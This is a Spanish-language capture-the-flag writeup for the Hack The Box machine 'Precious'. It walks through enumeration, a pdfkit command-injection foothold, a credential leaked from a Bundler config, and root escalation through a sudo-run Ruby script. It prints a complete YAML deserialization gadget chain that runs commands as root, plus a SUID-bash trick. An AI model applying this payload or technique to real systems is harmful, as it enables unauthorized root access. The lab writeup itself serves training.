Table of Contents
Hack The Box: Precious Writeup
Welcome to my detailed writeup of the easy difficulty machine “Precious” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.228.98 --ulimit 5000 -g
210.129.228.98 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.228.98 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 16:48 CEST
3Nmap scan report for 10.129.228.98
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
8| ssh-hostkey:
9| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
10| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
11|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
1280/tcp open http nginx 1.18.0
13|_http-server-header: nginx/1.18.0
14|_http-title: Did not follow redirect to http://precious.htb/
15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 8.02 seconds
Encontramos el dominio precious.htb
, así que lo añadimos al /etc/hosts
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.98 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 16:49 CEST
3Nmap scan report for 10.129.228.98
4Host is up (0.036s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
721898/udp closed unknown
823256/udp closed unknown
925249/udp closed unknown
1028692/udp closed unknown
1131743/udp closed unknown
1261142/udp closed unknown
El punto de entrada a esta máquina debe de ser el puerto 80/TCP
HTTP Enumeration
Vemos que efectivamente, el servidor nos hace una solicitud.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.98 - - [05/Aug/2024 16:53:09] "GET / HTTP/1.1" 200 -
Me interesa saber el User-Agent
ya que quizás pueda revelar información relevante, así que me voy a poner en escucha con netcat
1$ sudo nc -lvnp 8081
2listening on [any] 8081 ...
3connect to [10.10.14.18] from (UNKNOWN) [10.129.228.98] 39566
4GET / HTTP/1.1
5Host: 10.10.14.18:8081
6User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8Connection: Keep-Alive
9Accept-Encoding: gzip, deflate
10Accept-Language: en-US,*
Detectamos que se está usando wkhtmltopdf
el cual tiene una vulnerabilidad SSRF que ya he explotado en otras ocasiones, pero esta vez por ahí no van los tiros.
Command Injection -> Foothold
Si nos descargamos un PDF generado por esta aplicación y miramos los metadatos, podemos ver lo siguiente
1$ exiftool owh68flhpo0qrmf14hqn7slwa51tkwks.pdf
2ExifTool Version Number : 12.57
3File Name : owh68flhpo0qrmf14hqn7slwa51tkwks.pdf
4Directory : .
5File Size : 11 kB
6File Modification Date/Time : 2024:08:05 16:53:10+02:00
7File Access Date/Time : 2024:08:05 16:53:10+02:00
8File Inode Change Date/Time : 2024:08:05 16:57:24+02:00
9File Permissions : -rw-r--r--
10File Type : PDF
11File Type Extension : pdf
12MIME Type : application/pdf
13PDF Version : 1.4
14Linearized : No
15Page Count : 1
16Creator : Generated by pdfkit v0.8.6
pdfkit v0.8.6
Una simple búsqueda en Google..
Utilizando este PoC
User Pivoting
En busca de la flag me dí cuenta de un directorio un tanto inusual, .bundle
1ls -la
2total 28
3drwxr-xr-x 4 ruby ruby 4096 Aug 5 06:39 .
4drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
5lrwxrwxrwx 1 root root 9 Oct 26 2022 .bash_history -> /dev/null
6-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
7-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
8dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
9drwxr-xr-x 3 ruby ruby 4096 Aug 5 06:39 .cache
10-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
¡Unas credenciales!
1ls -la
2total 12
3dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .
4drwxr-xr-x 4 ruby ruby 4096 Aug 5 06:39 ..
5-r-xr-xr-x 1 root ruby 62 Sep 26 2022 config
6cat config
7---
8BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Investigando sobre este archivo, es una herramienta para gestionar las dependencias de los proyectos en Ruby.
1 ssh henry@10.129.228.98
2The authenticity of host '10.129.228.98 (10.129.228.98)' can't be established.
3ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6Warning: Permanently added '10.129.228.98' (ED25519) to the list of known hosts.
7henry@10.129.228.98's password:
8Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
9
10The programs included with the Debian GNU/Linux system are free software;
11the exact distribution terms for each program are described in the
12individual files in /usr/share/doc/*/copyright.
13
14Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
15permitted by applicable law.
16henry@precious:~$
Y podríamos leer la flag de usuario.
1henry@precious:~$ cat /home/henry/user.txt
20801b15e447149...
Privilege Escalation
Podemos ejecutar el script /opt/update_dependencies.rb
como el usuario root
1henry@precious:~$ sudo -l
2Matching Defaults entries for henry on precious:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5
6User henry may run the following commands on precious:
7 (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Este es el script
1# Compare installed dependencies with those specified in "dependencies.yml"
2require "yaml"
3require 'rubygems'
4
5# TODO: update versions automatically
6def update_gems()
7end
8
9def list_from_file
10 YAML.load(File.read("dependencies.yml"))
11end
12
13def list_local_gems
14 Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
15end
16
17gems_file = list_from_file
18gems_local = list_local_gems
19
20gems_file.each do |file_name, file_version|
21 gems_local.each do |local_name, local_version|
22 if(file_name == local_name)
23 if(file_version != local_version)
24 puts "Installed version differs from the one specified in file: " + local_name
25 else
26 puts "Installed version is equals to the one specified in file: " + local_name
27 end
28 end
29 end
30end
Al buscar en Google el método YAML.load
el cual me llamó la atención…
Me llamó la atención ya que este archivo se carga de forma relativa, por lo cual podríamos secuestrar el archivo dependencies.yml
y conseguir la deserialización.
Vamos a usar este PoC.
Nos creamos un archivo dependencies.yml
1henry@precious:/tmp$ cat dependencies.yml
2---
3- !ruby/object:Gem::Installer
4 i: x
5- !ruby/object:Gem::SpecFetcher
6 i: y
7- !ruby/object:Gem::Requirement
8 requirements:
9 !ruby/object:Gem::Package::TarReader
10 io: &1 !ruby/object:Net::BufferedIO
11 io: &1 !ruby/object:Gem::Package::TarReader::Entry
12 read: 0
13 header: "abc"
14 debug_output: &1 !ruby/object:Net::WriteAdapter
15 socket: &1 !ruby/object:Gem::RequestSet
16 sets: !ruby/object:Net::WriteAdapter
17 socket: !ruby/module 'Kernel'
18 method_id: :system
19 git_set: id
20 method_id: :resolve
Ahora si todo sale bien, se debería de ejecutar el comando id
que es el que está en el campo git_set
1henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
2sh: 1: reading: not found
3uid=0(root) gid=0(root) groups=0(root)
4Traceback (most recent call last):
5 33: from /opt/update_dependencies.rb:17:in `<main>'
6 32: from /opt/update_dependencies.rb:10:in `list_from_file'
7 31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
8 30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
9....
Y podemos ver que se ejecuta.
Ahora solo falta cambiar el comando que queremos ejecutar en el archivo dependencies.yml
1henry@precious:/tmp$ ls -la /bin/bash
2-rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Ahora ejecutamos el script…
1henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
1henry@precious:/tmp$ ls -la /bin/bash
2-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
3henry@precious:/tmp$ bash -p
4bash-5.1# id
5uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry
Y ya nos hemos convertido en root
.
Y podríamos leer la flag.
1bash-5.1# cat /root/root.txt
257c37a02615a95fcde....
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Precious #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #Linux #Information Leakage #Abusing Pdfkit V0.8.6 #CVE-2022-25765 #User Pivoting #Command Injection #Abusing Bundler #Abusing Sudoers #Deserialization #YAML Deserialization